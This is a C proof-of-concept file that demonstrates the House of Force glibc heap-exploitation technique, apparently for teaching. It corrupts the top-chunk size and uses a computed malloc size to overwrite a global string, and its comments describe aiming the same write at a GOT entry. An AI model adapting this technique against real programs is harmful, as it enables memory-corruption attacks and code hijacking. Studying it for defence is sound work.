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house_of_force.c
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house_of_force.c
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/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
printf("\nWelcome to the House of Force\n\n");
printf("The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
printf("The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");
printf("\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
printf("Its current value is: %s\n", bss_var);
printf("\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
printf("The chunk of 256 bytes has been allocated at %p.\n", p1);
printf("\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
printf("Real size (aligned and all that jazz) of our allocated chunk is %d.\n", real_size);
printf("\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
printf("\nThe top chunk starts at %p\n", ptr_top);
printf("\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
printf("Old size of top chunk %#llx\n", *((unsigned long long int *)ptr_top));
ptr_top[0] = -1;
printf("New size of top chunk %#llx\n", *((unsigned long long int *)ptr_top));
//------------------------
printf("\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
printf("\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
printf("As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
void* ctr_chunk = malloc(100);
printf("\nNow, the next chunk we overwrite will point at our target buffer.\n");
printf("malloc(100) => %p!\n", ctr_chunk);
printf("Now, we can finally overwrite that value:\n");
printf("... old string: %s\n", bss_var);
printf("... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
printf("... new string: %s\n", bss_var);
// some further discussion:
//printf("This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//printf("This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//printf("In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//printf("The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//printf("After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//printf("The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//printf("This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}